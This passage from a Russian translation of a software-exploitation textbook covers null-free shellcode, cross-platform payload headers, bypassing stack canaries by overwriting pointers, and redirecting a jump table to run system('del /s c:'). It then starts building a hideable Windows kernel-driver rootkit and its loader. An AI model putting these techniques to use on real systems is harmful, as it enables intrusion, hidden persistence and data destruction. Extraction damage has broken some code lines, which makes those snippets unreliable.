обходимо использовать отрицательное значение смещения. В приведенном ранее
защищенном коде использовалась команда ldw, которая определяет, чтение какого
адреса необходимо выполнить по отношению к базовому адресу, сохраненному в ре>
гистре 31 (т.е. смещение в памяти). Для удаления символов NULL нам нужно отнять
значение от базового адреса. Для этого сначала нужно добавить достаточное значе>
ние к базовому адресу, чтобы смещение оказалось отрицательным. Как видно из
строк main+12 и main+16, мы используем машинные коды без символов NULL для
добавления больших чисел к значению в регистре r31, а затем кодируем результат с
помощью операции XOR, чтобы получить значение 0x0015 в регистре 20. Затем мы
добавляем значение r20 к значению r31. Используя в этой точке команду ldw со
смещением –1, мы выполняем чтение команды как main+28.
0x10000258 :
xor
r20,r20,r20
0x1000025c :
bnel+
0x10000258
0x10000260 :
mflr
r31
0x10000264 :
addi
r20,r20,0x6673 ; значение 0x0015
закодировано с помощью операции xor по значению 0x6666
0x10000268 :
xori
r20,r20,0x6666 ; xor-декодирование
регистра

316

Глава 7

0x1000026c :
add
r31,r31,r20 ; добавить 0x15 к r31
0x10000270 :
lwz
r4,-1(r31) ; получить машинный
код по адресу r31-1 (оригинальное значение r31 + 0x14)

Окончательные машинные коды выглядят следующим образом.
0x7e94a278
0x4082fffd
0x7fe802a6
0x3a946673
0x6a946666
0x7fffa214
0x809fffff

Подобные хитрости довольно легко реализовать. Они потребуют минимального
времени при использовании отладчика и позволят создать действующий код без
символов NULL.

Полезная нагрузка для нескольких платформ
Более сложная полезная нагрузка должна успешно работать на разных аппарат>
ных платформах. Это очень удобно, если планируется использовать полезную на>
грузку в гетерогенной среде. Отрицательный аспект заключается в том, что в полез>
ную нагрузку придется добавить программный код, специфический для каждой
платформы, а это может привести к значительному увеличению размера. Из>за огра>
ничений в размерах полезная нагрузка для нескольких платформ обычно ограниче>
на и относительно области применения, в основном служит для чего>то простого,
например для вызова прерываний и останова системы.
В качестве примера представим, что у нас в зоне поражения используются четыре
различные операционные среды. Три из них представляют собой устаревшие систе>
мы HP9000. Последняя система более новая и основана на платформе Intel x86. Для
каждой из систем должен использоваться немного отличный вектор вторжения, но
следует использовать одну и ту же полезную нагрузку, которая позволит завершить
работу как систем HP, так и системы Intel.
Рассмотрим машинный язык для систем HP и Intel. Если мы планируем создать
полезную нагрузку, которая будет осуществлять операцию перехода на одной плат>
форме и продолжать исполнение на другой системе, то мы можем разделить полез>
ную нагрузку на две части, как показано на рис. 7.23.
Переносимый заголовочный код

Код для конкретной платформы

Код для конкретной платформы

Рис. 7.23. Создание полезной нагрузки для
применения на нескольких платформах

Кроссплатформенный код должен или осуществлять переход, или продолжать
исполнение, в зависимости от платформы. Для системы HP9000 следующий код яв>

Переполнение буфера

317

ляется условным переходом, который передает управление только на два слова впе>
ред. На платформе Intel следующий код является командой jmp, которая передает
управление на 64 байта вперед (т.е. 4 байта нужны для осуществления нашей кросс>
платформенной операции перехода).
EB

40

C0

02

Рассмотрим другой пример, при котором атака проводится на компьютере, ис>
пользующем платформы MIPS и Intel. Следующие байты представляют собой
кроссплатформенный заголовочный код для платформ MIPS и Intel.
24

0F

73

50

На платформе Intel первое слово 0x240F обрабатывается как одна безопасная
команда.
and

al,0Fh

Второе слово 0x7350 обрабатывается как команда jmp на платформе Intel и
осуществляет переход на 80 байт вперед. Поэтому мы можем начать наш код, специ>
фический для платформы Intel, со смещением в 80 байт. С другой стороны, для
платформы MIPS все 4 байт обрабатываются как безопасная команда li.
li register[15], 0x1750

Таким образом, код для платформы MIPS можно начинать непосредственно по>
сле общего заголовка. Это весьма полезные сведения для создания универсальных
программ атаки.

Кроссплатформенные команды nop
При использовании команд nop, следует выбрать те из них, которые будут рабо>
тать на нескольких платформах. Команда nop (0x90) для процессоров x86 преобра>
зуется в безопасную команду на платформе HP. Таким образом, стандартная коман>
да nop работает на обеих платформах. На платформе MIPS, поскольку используют>
ся 32>битовые команды, придется быть немного хитрее. Кроссплатформенная
команда nop для платформ x86 и MIPS может представлять собой вариацию сле>
дующих байтов кода.
24

0F

90

90

Этот набор байтов на платформе MIPS загружает несколько раз в регистр 15 зна>
чение 0x9090, а на платформе Intel эти байты преобразуются в безопасную команду
add, после которой следуют две команды nop. Очевидно, что создание универсаль>
ных команд nop для использования на разных платформах не составляет большой
сложности.

318

Глава 7

Код пролога и эпилога для защиты функций
Несколько лет тому назад системные архитекторы, в том числе Криспин Коуэн
(Crispin Cowan) и др., попытались решить проблему атак на переполнение буфера с
помощью добавления кода, контролирующего стек программы. Во многих реализа>
циях этой идеи использовался код пролога или эпилога функции. Во многих компи>
ляторах существует возможность вызывать дополнительную конкретную функцию
перед каждым вызовом любой функции. Обычно это использовалось для целей от>
ладки. Однако при разумном использовании этой возможности вполне реально соз>
дать функцию, которая бы контролировала стек и гарантировала правильную работу
всех остальных функций.
К сожалению, переполнение в буфере имеет множество непредвиденных последст>
вий. Часто оно вызывает искажение данных в памяти, а память, как известно, является
ключевым аспектом правильной работы программы. Очевидно, это означает, что лю>
бой дополнительный код, который предназначен для защиты программы от самой се>
бя, теряет смысл. Установка дополнительных барьеров и ловушек в программе толь>
ко усложняет создание средств для взлома программного обеспечения, но никоим
образом не устраняет возможность создания этих средств (см. главу 2, “Шаблоны
атак”, в которой обсуждается, как в этом вопросе ошиблась компания Microsoft).
Кто>то может заявить, что подобные методы уменьшаю риск возникновения
ошибок. С другой стороны, можно утверждать, что эти же методы создают ложное
чувство безопасности, поскольку всегда найдется хакер, способный взломать эту за>
щиту. Если при атаке на переполнение буфера предоставляется контроль над указа>
телем, то переполнение буфера можно использовать для перезаписи других указате>
лей функций и даже для непосредственного изменения кода (вспомните наши мето>
ды по созданию “трамплинов”). Существует и еще одна возможность путем
переполнения буфера изменить какие>то критически важные структуры в памяти.
Как мы уже продемонстрировали, значения в структурах памяти управляют права>
ми доступа и параметрами вызова системных функций. Изменение любых этих дан>
ных может привести к возникновению бреши в системе безопасности и тогда оста>
нется очень мало шансов для оперативного блокирования подобных атак.

Устранение защиты с помощью сигнальных значений
Хорошо известным приемом для защиты от атак на переполнение буфера являет>
ся применение сигнальных значений (canary value) в стеке. Этот прием открыл Крис>
пин Коуэн (Crispin Cowan). При попытке организовать переполнение стека выпол>
няется затирание сигнального значения. Если сигнальное значение не обнаружива>
ется, то считается, что программа работает неправильно и выполняется немедленное
завершение ее работы. Вообще, идея была хорошей. Однако проблема при защите
стека состоит в том, что переполнение буфера не является по сути проблемой стека.
При атаках на переполнение буфера используются указатели, но указатели могут
находиться в куче, в стеке, в таблицах или в заголовках файлов. Успех атаки на пе>
реполнение буфера действительно зависит от получения контроля над указателем.
Безусловно, что очень удобно получить непосредственный контроль над указателем
команд, и это легко осуществляется с помощью стека. Но если “на пути стоит” сиг>
нальное значение, то можно воспользоваться “другой дорогой”. На самом деле, про>
блема переполнения буфера должна решаться путем создания более надежного кода,

Переполнение буфера

319

а не добавлением дополнительных систем безопасности и ловушек в программу. Од>
нако при наличии многочисленных уже существующих систем подобные решения,
предназначенные для устранения проблем в готовых программах, представляют оп>
ределенную ценность.
На рис. 7.24 мы видим, что при переполнении буфера
мы затираем сигнальное значение. Это означает провал
Аргументы функции
атаки. Если мы не можем использовать буфер после
сигнального значения, значит, в нашем распоряжении
Адрес возврата
остаются только другие локальные переменные и указа>
тель стека. Однако возможность контролировать какой>
либо указатель, независимо от того, где он находится,
Сигнальное значение
уже гарантирует успех современных атак.
Рассмотрим функцию, в которой используется не>
Указатель фрейма
сколько локальных переменных. По крайней мере одна из
них является указателем. Если мы способны провести пе>
Буфер локальных переменных
реполнение по отношению к локальной переменной типа
указатель, значит, у нас есть шансы на успех атаки.
Как видно на рис. 7.25, если организовать переполне> Рис. 7.24. Стек, защищенный
ние в буфере B, можно исказить значение в указателе A. с помощью сигнального зна
Управляя указателем, мы прошли только часть пути. чения. Сигнальное значение
Следующий вопрос в том, как указатель, который мы затирается, когда буфер для
только что изменили, используется в коде? Если это ука> локальной переменной “рас
тет” по направлению к иско
затель функции, значит, мы добились успеха. Эта функ>
мому адресу возврата
ция может быть вызвана в дальнейшем, и если мы изме>
нили ее адрес, то можем вызвать вместо нее свой код.
Другой вариант состоит в том, что указатель используется для обращения к дан>
ным (что более вероятно). Если в другой локальной переменной содержатся исход>
ные данные для операции с указателем, то существует вероятность перезаписать ин>
тересующие данные по любому адресу в области памяти, выделенной для програм>
мы. Это можно использовать для “победы” над сигнальным значением, для
получения контроля над адресом возврата или искажения значений указателей
функций где>либо в программе. Для обхода сигнального значения, можно устано>
вить указатель A с указанием на стек и задать в исходном буфере адрес, который мы
хотим разместить в стеке (рис. 7.26).

Локальная переменная: буфер A

Локальная переменная: буфер A

Локальная переменная: указатель A

Локальная переменная: указатель A

Локальная переменная: буфер B

Локальная переменная: буфер B

Рис. 7.25. В качестве “трамплина” можно ис
пользовать указатель в области локальных
переменных выше интересующего нас буфе
ра. Подойдет любой указатель функции

Рис. 7.26. Используем “трамплин” для возвра
щения обратно в стек

320

Глава 7

Теперь перезапись адреса возврата без изменения сигнального значения осуще>
ствляется по стандартному методу (рис. 7.27 ).
Аргументы функции

Адрес возврата

Сигнальное значение

Указатель фрейма

Локальная переменная: буфер A

Локальная переменная: указатель A

Локальная переменная: буфер B

Рис. 7.27. Используем “трамплин” для обхода
незащищенного сигнального значения

Идея искажения других указателей, а не адреса возврата, заслуживает наивысшей
похвалы. Эта идея реализуется при проведении атак на переполнение буфера в куче и
использовании объектов C++. Рассмотрим структуру, в которой хранятся указатели
функций. Такие структуры существуют практически во всех областях системы. Ис>
пользуя наш предыдущий пример, мы можем указать на одну из этих структур и пере>
записать в ней адрес. Затем вполне реально использовать одну из функций этой струк>
туры для возврата назад в наш буфер. Если при вызове функции наш стек остается
доступным, значит, мы получили полный контроль над ситуацией (рис. 7.28).
Function Pointer A

Локальная переменная: буфер A

Локальная переменная: указатель A

Function Pointer B

Function Pointer C

Локальная переменная: буфер B

Рис. 7.28. Использование методов C++ для создания “трамплина”. Сначала
мы “выпрыгиваем” наружу, а затем возвращаемся назад

Безусловно, основная проблема этого метода заключается в том, чтобы гаранти>
ровать сохранение нашего буфера. Во многих программах используются таблицы

Переполнение буфера

321

переходов для вызова любой библиотечной функции. Если процедура, на которую
проводится атака переполнения буфера, содержит библиотечные вызовы, то выбор
цели атаки становится очевидным. Следует перезаписать указатель функции для
любого библиотечного вызова, который используется после операции по переполне>
нию буфера, но до возврата этой процедуры.

Успешная атака на неисполняемые стеки
Итак, мы продемонстрировали, что существует множество способов исполне>
ния кода в стеке. Но что делать, если стек является неисполняемым (nonexecutable
stack)?
Существует немало параметров для аппаратных средств и среды исполнения
операционной системы, которые определяют вид памяти, предназначенной для хра>
нения кода (т.е. для исполняемых данных). Если стек не подходит для хранения ко>
да, хакер может временно отступить, но в его распоряжении остается множество
других вариантов. Для получения контроля над системой вовсе необязательно вве>
дение кода, достаточно воспользоваться чем>то менее сложным. Существует огром>
ное количество структур данных и вызовов функций, которые, будучи управляемы
хакером, могут использоваться для контроля над системой. Рассмотрим следующий
фрагмент кода.
void debug_log(const char *untrusted_input_data)
{
char *_p = new char[8];
// указатель остается выше _t
char _t[24];
strcpy(_t, untrusted_input_data);
// _t перезаписывает _p
memcpy(_p, &_t[10], 8);
//_t[10] имеет новый адрес, перезаписываемый с помощью puts()
_t[10]=0;
char _log[255];
sprintf(_log, "%s - %d", &_t[0], &_p[4]);
// мы управляем первыми 10 символами _log
fnDebugDispatch (_log);
// адрес fnDebugDispatch () заменен на адрес функции system()
// которая вызывает командный интерпретатор...
...

В этом примере выполняется несколько небезопасных операций в буфере с ука>
зателем. Мы можем управлять значением _p с помощью переполнения _t. Целью
нашей программы атаки является вызов функции fnDebugDispatch(). Для этого
вызова в качестве параметра передается буфер, и при этом мы управляем первыми
десятью символами этого буфера. Машинный код, который выполняет этот вызов,
выглядит следующим образом.
24:
fnDebugDispatch(_log);
004010A6 8B F4
mov
esi,esp
004010A8 8D 85 E4 FE FF FF
lea
eax,[ebp-11Ch]
004010AE 50
push
eax
004010AF FF 15 8C 51 41 00
call
dword ptr
[__imp_?fnDebugDispatch@@YAHPAD@Z(00415150)]

322

Глава 7

В этом коде вызывается адрес функции, хранящийся по адресу 0x00415150. Со>
держимое памяти выглядит следующим образом.
00415150
0041515F
0041516E

F0 B7 23 10 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

.#............
...............
.

Если мы изменим хранящийся здесь адрес, то сможем заставить вызвать другую
функцию. Адрес функции, который в данное время сохранен в памяти по адресу
0x1023B7F0 (он записан в обратном порядке байтов в дампе памяти).
Всегда есть много функций, загруженных в пространство памяти, выделенное
для программы. Используемой нами функции передается один параметр из буфера.
Так случилось, что другой функции system() также передается один параметр из
буфера. Что произойдет, если мы заменим указатель нашей функции на указатель
функции system()? Мы получим полный контроль над системным вызовом. В на>
шем примере функция system() хранится по адресу 0x1022B138. Все, что нужно, —
это затереть данные по адресу 0x00415150 адресом 0x1022B138. Таким образом мы
получаем в свое распоряжение собственный вызов функции system() с контроли>
руемым нами значением параметра.
Существует и альтернативный вариант, если мы не хотим изменять значение памяти
по адресу 0x00415150. Как видим, оригинальный код функции fnDebugDispatch()
хранится по адресу 0x1023B7F0. Если мы исследуем код по этому адресу, то полу>
чим следующее.
@ILT+15(?fnDebugDispatch@@YAHPAD@Z):
10001014 E9 97 00 00 00 jmp fnDebugDispatch (100010b0)

В программе используется таблица переходов. Если мы изменим команду пере>
хода, мы сможем заставить команду jmp вызывать функцию system(). Текущее
значение этой команды используется для перехода к функции fnDebugDispatch
(0x100010b0). Мы хотим заменить этот вызов вызовом функции system(0x
1022B138). Текущий машинный код для операции перехода: e9 97 00 00 00.
Если мы изменим машинные команды на e9 1F A1 22 00, то команда jmp будет
осуществлять переход к функции system(). В результате запускаемую нами ко>
манду можно представить следующим образом.
system("del /s c:");

В заключение хочется сказать, что переполнение буфера действительно является
серьезной проблемой. Для блокирования простейших атак на переполнение буфера
потребуется совсем немного усилий. В целом, при атаках на переполнение буфера
можно изменять код, значения указателей функций и искажать критически важные
структуры данных.

Резюме
Несмотря на широкое обсуждение атак на переполнение буфера и достаточно
большой выбор технической информации для атак на различные платформы, оста>
ется еще немало вопросов по этой теме, которые должны быть исследованы и осве>
щены в публикациях. В этой главе рассмотрено большое количество методов, кото>
рые удобно применять для взлома программного обеспечения. В целом, мы обнару>

Переполнение буфера

323

жили, что искажение данных в памяти остается излюбленным методом хакеров.
Возможно, переполнения буфера в стеке когда>то и перестанут быть актуальной те>
мой, если программисты прекратят использовать уязвимые вызовы строковых
функций из библиотеки libc. Однако средств для абсолютного решения этой про>
блемы пока не существует.
В этой главе также были рассмотрены и другие популярные, но более сложные
методы искажения данных в памяти, наподобие использования одного “лишнего”
бита и переполнения буфера в куче. Компьютерная наука уже более 20 лет занима>
ется проблемой корректного управления данными в памяти, но программный код
остается по>прежнему уязвимым для этих простых атак. Очень похоже на то, что
программисты будут повторять эти ошибки и следующие 20 лет.
Чуть ли не каждый день обнаруживаются новые и неисследованные ранее мето>
ды вредоносного использования памяти. Скорее всего, еще очень долго мы будем
свидетелями проявления этих проблем во встроенных системах.

324

Глава 7

Наборы средств для взлома

325

Глава 8

Наборы средств для взлома

П

оследняя глава книги посвящена вопросу о получении полного контроля над
компьютером. Полный контроль — это когда хакер на другой стороне планеты
управляет выводом электрических сигналов с конкретного вывода последовательно>
го порта (задачей высшего пилотажа можно назвать управление выходными данны>
ми гнезда наушников на приводе компакт>диска).
Это может казаться нереальным, но не забывайте, что все аппаратные средства
находятся под управлением того или иного программного обеспечения. Часто это
программное обеспечение встроено в микросхемы и в ядро операционной системы.
После взлома операционной системы физические элементы компьютера, который
находится под управлением этой системы, как правило, оказываются в полной вла>
сти хакера. Тщательно подготовленные вредоносные программы могут предоставить
доступ к аппаратным средствам компьютера и управлять ими. Эти программы рабо>
тают на самом низком уровне, т.е. обнаружить их невозможно, кроме того случая,
когда в системе используется специализированное программное обеспечение.
Итак, в этой главе рассматривается набор средств для взлома (rootkit). Средства
для взлома представляют собой особый вид программного обеспечения, который по>
зволяет управлять каждым аспектом работы компьютера. Набор средств для взлома
можно запустить на локальной машине или же удаленно “заразить” компьютер с по>
мощью вируса. И действительно, у вирусов, “червей” и наборов средств для взлома
есть много общего. Как правило, это весьма небольшой по размеру программный
код, в котором “сконцентрировано” много важных возможностей. Эти программы
стараются действовать незаметно. Часто в них даже применяются одинаковые мето>
ды для достижения искомой цели, наподобие перехватов вызовов функций и уста>
новки заплат. Поскольку “черви” относятся к категории переносимого кода, то в них
часто применяется полезная нагрузка для “заражения” компьютера при доставке ко>
да “червя” на определенный компьютер. “Червь” обычно “заражает” цель атаки и за>
писывает на компьютере код, по сути превращаясь в набор средств для взлома.

326

Глава 8

Вредоносные программы
Вопрос о нанесении ущерба с помощью программного обеспечения считается уже
достаточно давним (разумеется, по меркам программного обеспечения). Существует
немало материалов военных ведомств по этой теме, которые были собраны более
двадцати лет назад. Под нанесением ущерба здесь понимается взлом одной про>
граммы с помощью другой программы. Так, в самом старом отчете описываются
“потайные ходы”, размещаемые в программном обеспечении самими создателями
этих программ. “Потайные ходы” стали добавлять в программы еще тогда, когда
компьютеры состояли из набора вакуумных трубок.
Один опытный программист рассказал нам следующую историю:
“Когдато для Западного побережья США была создана система противовоз
душной обороны, в которой была заложена скрытая программа. В системе ис
пользовались вакуумные трубки, а световые перья составляли часть пользо
вательского интерфейса. После выполнения правильной последовательности
команд на экране монитора появлялось изображение танцующей гавайской де
вушки. При “выстреле” световым пером в нужном месте девушка сбрасывала
свою одежду. Полковник, который однажды посетил с инспекцией дежурную
часть, случайно обнаружил эту “функциональную возможность” системы за
щиты к глубокому огорчению команды программистов.

Что такое набор средств для взлома
Набор средств для взлома представляет собой программу, которая обепечивает
доступ (и позволяет выполнять определенные манипуляции) к низкоуровневым
функциональным возможностям атакуемой системы. Тщательно продуманные на>
боры средств для взлома работают таким образом, что их очень трудно обнаружить,
используя другие программы, с помощью которых обычно осуществляется монито>
ринг системы. Доступ к набору средств для взлома обычно предоставляется только
осведомленным людям, которые знают о возможности использования тех или иных
команд для управления набором средств для взлома.
Первые наборы средств для взлома представляли собой “троянские” файлы, в ко>
торые были встроены “потайные ходы”. Эти наборы средств для взлома предназна>
чались для подмены часто используемых исполняемых файлов, например программ
ps и netstat. Поскольку при этом методе изменялся размер и содержимое атакуе>
мого исполняемого файла, то оригинальные наборы средств для взлома можно было
обнаружить достаточно просто, воспользовавшись программами мониторинга цело>
стности файлов, например программой Tripwire. Современные наборы средств для
взлома создаются намного искуснее.

Что такое набор средств для взлома на уровне ядра
В настоящее время широкое распространение получили средства для взлома на
уровне ядра (kernel rootkit). С их помощью устанавливаются подключаемые модули
или драйверы устройств, что обеспечивает доступ к компьютеру на аппаратном уровне.
Поскольку для этих программ устанавливаются права наивысшего доверия, то они мо>
гут быть полностью скрыты от другого программного обеспечения, запущенного на

Наборы средств для взлома

327

1

компьютере . Наборы средств для взлома на уровне ядра позволяют скрывать файлы и
запущенные процессы, что способствует созданию “потайного хода”.

Набор средств для взлома на уровне ядра и область
надежного кода
При установке вредоносного кода в систему хакер часто получает права досту>
па, равнозначные правам доступа для драйвера устройства или программы сис>
темного уровня. В операционных системах наподобие Windows и UNIX это уро>
вень неограниченного доступа, т.е. все элементы атакуемой системы могут быть
взломаны, а значит, надежным источникам данных аудита доверять больше нель>
зя. Кроме того, это означает, что программный код управления доступом больше
не в состоянии действительно управлять доступом. Чтобы продемонстрировать
глубину рассматриваемых проблем, вспомним о заплате для ядра Windows NT, ко>
торую мы изучали в главе 3, “Восстановление исходного кода и структуры про>
граммы”. В этом простом примере заплаты продемонстрированы изменения, вно>
симые в целях искажения памяти на атакуемой системе. А теперь представьте па>
кет сложных методов, которые сфокусированы на маскировке вредоносных
действий. Это и есть набор средств для взлома.

Простой набор средств для взлома на уровне
ядра Windows XP
В этом разделе мы рассмотрим структуру простого набора средств для взлома на
уровне ядра Windows, который позволяет скрывать каталоги и запущенные процес>
сы. Этот набор средств для взлома написан как драйвер устройства и поддерживает
возможность загрузки и выгрузки из памяти. Пример набора средств для взлома тес>
тировался на системах Windows NT 4.0, Windows 2000 и Windows XP.

Создание набора средств для взлома
Наш набор средств для взлома работает как драйвер для систем Windows 2000
или Windows XP. Значит, сначала нам потребуется среда для создания драйверов
устройств. Для этой цели мы воспользуемся Windows XP DDK (Device Driver
Development Kit —набор средств для создания драйверов устройств). Интересую>
щиеся читатели могут также воспользоваться DDK для систем Windows 2000 или
Windows NT 4 (http://www.microsoft.com/ddk/).
Для корректной работы может потребоваться установка Visual Studio. В зависи>
мости от используемой платформы, также может потребоваться SDK. Мы рекомен>
дуем обратиться к документации по выбранной версии DDK.

1

Разумеется, за исключением других наборов средств для взлома, в которых используется
аналогичная методика. Эффективность многих методов зависит от того, были ли вредонос
ные программы установлены первыми. При выполнении этого условия они позволяют захва
тить полное управление над компьютером. — Прим. авт.

328

Глава 8

Контролируемая среда разработки
Набор DDK предоставляет две оболочки: контролируемую среду разработки
(checked build environment) и свободную среду разработки (free build environment). В
контролируемой среде создается код для отладки, а в свободной среде — код для окон>
чательной версии. Мы будем использовать контролируемую среду. Как только наша
программа заработает без ошибок, мы можем воспользоваться свободной средой. Сво>
бодная среда позволяет получить значительно меньший по размеру файл драйвера.

Исходные файлы набора средств для взлома
Мы создаем набор средств для взлома на языке С. Поэтому все наши файлы име>
ют расширение .c или .h.

Инструменты разработки
Для создания набора средств для взлома воспользуйтесь командой cd для пере>
хода в каталог с исходными файлами. Затем введите команду build, и утилита раз>
работки DDK выполнит все необходимые действия. При наличии ошибок в исход>
ном коде на стандартный вывод будет выведено сообщение об ошибке.
При создании драйвера устройства огромное значение имеет файл SOURCES.
В зависимости от используемой версии DDK, файл SOURCES может быть установ>
лен отдельно. Одним из особо важных параметров является значение переменной
среды TARGETPATH. Эта переменная указывает место, где будут размещаться объек>
ты. В системах Win2k и XP DDK переменная не должна хранить значение в форме
$(basedir)/lib, поскольку такой формат запрещен в файле makefile.def. В то
же время существует специальная переменная OBJ, которая уже определена и ука>
зывает на подкаталог, управляемый компилятором. Нашим читателям мы рекомен>
дуем просто использовать OBJ при установке значения для TARGETPATH.
Параметр SOURCES также имеет большое значение. Он описывает все исходные
файлы, которые используются для создания драйвера. Если необходимо использо>
вать несколько файлов, то каждый из них должен быть записан в отдельной строке.
Все строки, кроме последней, должны завершаться символом обратной косой черты.
SOURCES=

file.c \
file2.c \
file3.c

Обратите внимание на отсутствие завершающего символа обратной косой черты.
Если для создания драйвера мы используем только один файл basic.c, то файл
SOURCES будет выглядеть примерно следующим образом.
TARGETNAME=BASIC
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=
basic.c

Драйверы с доступом на уровне ядра
Драйверы устройств работают в привилегированном режиме ring>0, т.е. этим драй>
верам предоставляется физический доступ ко всем устройствам системы. В операци>

Наборы средств для взлома

329

онной системе Windows драйвер расценивается как часть надежного кода. Можно
спорить, является ли это верным решением. Большинство экспертов в области ком>
пьютерной безопасности считают, что нет. Давайте в качестве первого этапа созда>
ния набора средств для взлома напишем простой драйвер.

Основная структура драйвера
Драйвер устройства состоит из следующих основных компонентов.

#include "ntddk.h"

Необходимый
заголовочный
файл

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
return STATUS_SUCCESS;

Функция
подобна функции

}

В базовом драйвере должна присутствовать функция DriverEntry. Драйверы
устройств не являются темой этой книги, поэтому мы не станем рассматривать их
подробно. Мы рекомендуем обратится к другим известным источникам информа>
ции, например к книге Деккера и Ньюкамера (Dekker и Newcomer) Developing
Windows NT Device Drivers: A Programmer’s Handbook (1999).
Основной момент в том, что любой код, который помещается в функцию
DriverEntry, после загрузки драйвера запускается в привилегированном режиме
ring>0. Можно запустить драйвер в режиме “fire>and>forget” (“выстрелил и забыл”),
т.е. просто переведите драйвер в режим ring>0 и запустите его без какого>либо кон>
троля со стороны операционной системы. Здесь все в порядке, если просто нужно
2
запустить какой>то код в привилегированном режиме ring>0 .
Мы хотим создать драйвер, который будет загружаться и выгружаться. Это дела>
ется для обеспечения возможности тестирования нашего кода при его изменениях.
Перевод драйвера в режим “fire>and>forget” может завершиться необходимостью пе>
резагрузки после каждого теста, что очень раздражает. Мы зарегистрируем свой
драйвер в системе, благодаря чему мы сможем его запускать и останавливать по же>
ланию. Далее мы покажем, как запускать драйвер без регистрации. Загрузка драйве>
ра без регистрации означает, что нельзя использовать стандартные методы операци>
онной системы для его загрузки, выгрузки, запуска и останова. Дело в том, что при
регистрации драйвера он может быть обнаружен. Очевидно, что для реального набо>
ра средств для взлома регистрация нежелательна, т.к. отнюдь не способствует мас>
кировке. Однако, что касается нашего примера, мы хотим, чтобы драйвер работал
“по правилам” и мы могли его загружать и выгружать.

2

Безусловно, можно получить весьма неприятные результаты, если запустить на этом
уровне вредоносный код или код с ошибками. Поэтому будьте осторожны. — Прим. авт.

330

Глава 8

Когда программы используют драйвер
Программы, которые работают с правами пользователей, могут использовать драй>
вер, открывая его дескриптор файла. Как правило, хакеры не создают обычных драй>
веров, поскольку их единственной целью является передача программного кода в ядро.
Обычно доступ к драйверу осуществляется посредством дескриптора файла, к
которому отправляют данные пользовательские приложения. Эти данные доставля>
ются в виде пакетов IRP (Input/Output Request Packet — пакет запроса ввода>
вывода). Для управления пакетами IRP драйвер должен зарегистрировать процеду>
ру обратного вызова. Мы продемонстрируем это. Наша процедура>заглушка
(фиктивная процедура) просто завершает все пакеты IRP, но ничего с ними не дела>
ет. В данном случае все нормально, поскольку мы не предпринимаем попытку свя>
заться с какой>либо пользовательской программой.
Для управления пакетами IRP нам необходимо заполнить массив указателями
функций к нашей функции обратного вызова.
//Регистрация управляющей функции.
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
theDriverObject->MajorFunction[i] = OnStubDispatch;
}

Мы используем очень простую функцию обратного вызова.
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP
Irp
)
{
Irp->IoStatus.Status
=STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}

Эта процедура просто завершает все IRP>пакеты, т.е. мы просто отбрасываем все,
что получаем, и игнорируемвсе пакеты IRP.
Стандартные драйверы всегда регистрируют управляющую процедуру. Однако
для набора средств для взлома совершенно не требуется взаимодействие с пользова>
тельской программой, и мы можем полностью игнорировать управляющую проце>
дуру. Это не совсем правильно, но нам не о чем беспокоиться, поскольку мы не хо>
тим взаимодействовать с пользовательскими приложениями.

Возможность выгрузки драйвера
Для большинства наборов средств для взлома нет необходимости в возможности
выгрузки. После установки набора средств для взлома, обычно он должен оставаться
загруженным на протяжении всей работы компьютера. Однако, как мы указали, при
создании и тестировании нового набора средств для взлома, есть смысл в процедуре
выгрузки. Благодаря ей можно будет многократно загружать и выгружать набор
средств для взлома на этапе разработки. По завершении тестирования можно уда>
лить процедуру выгрузки.

Наборы средств для взлома

331

Чтобы получить возможность выгрузки драйвера, требуется зарегистрировать
процедуру выгрузки. Предоставить указатель для процедуры выгрузки можно сле>
дующим образом.
theDriverObject->DriverUnload =OnUnload;

Процедура выгрузки тоже очень проста.
VOID OnUnload(IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT:OnUnload called \n");
}

Ниже приведен полный код простого драйвера, который можно загружать в ядро
и выгружать из ядра.
//Драйвер устройства
#include "ntddk.h"
/*________________________________________________________________
. Эта функция только завершает все пакеты IRP.
. Мы полностью игнорируем действия пользователя, поэтому
. эта функция не должна вызываться . ________________________________________________________________*/
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP
Irp
)
{
Irp->IoStatus.Status =STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
/* _______________________________________________________________
. Эта функция вызывается при динамической выгрузке драйвера
. Нужно завершить все, что сделано, вызвав функцию IRQL_PASSIVE.
. _______________________________________________________________*/
VOID OnUnload(IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT:OnUnload called \n");
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
int i;
DbgPrint("Мой драйвер загружен!");
//Регистрация управляющей функции.
for (i = 0;i MajorFunction [i] = OnStubDispatch;
}
/*___[ Нам НЕОБХОДИМО зарегистрировать функцию Unload(). ]___
. таким образом мы получим возможность
. динамически выгружать драйвер
.___________________________________________________*/
theDriverObject->DriverUnload =OnUnload;

}

return STATUS_SUCCESS;

332

Глава 8

Код этого драйвера не делает ничего особо ценного. Имея более серьезные планы,
можно загрузить программу Dbgvnt с сайта http://www.sys-internals.com,
воспользовавшись которой можно просматривать сообщения отладчика при вызовах
функции DbgPrint.

Регистрация драйвера
Приведенный далее программный код можно использовать для регистрации
драйвера. В этом примере наш драйвер сохранен как c:\_root_.sys.
//adv_loader.cpp :Определяет точку входа для консольного приложения.
// код является результатом адаптации примера на www.sysinternals.com
// и удовлетворяет требованиям кода по загрузке драйвера
//-------------------------------------------------------------------//предоставлено ROOTKIT.COM
//-------------------------------------------------------------------#include "stdafx.h"
#include
#include
void usage(char *p){ printf("Usage:\n%s l\t load driver from
c:\\_root_.sys\n%s u \tunload
driver \n",p,p);} int main(int argc,char* argv [])
{
if(argc !=2)
{
usage(argv[0]);
exit(0);
}
if(*argv[1] ==='l')
{
printf("Регистрация rootkit-"драйвера".\n");
SC_HANDLE sh =OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
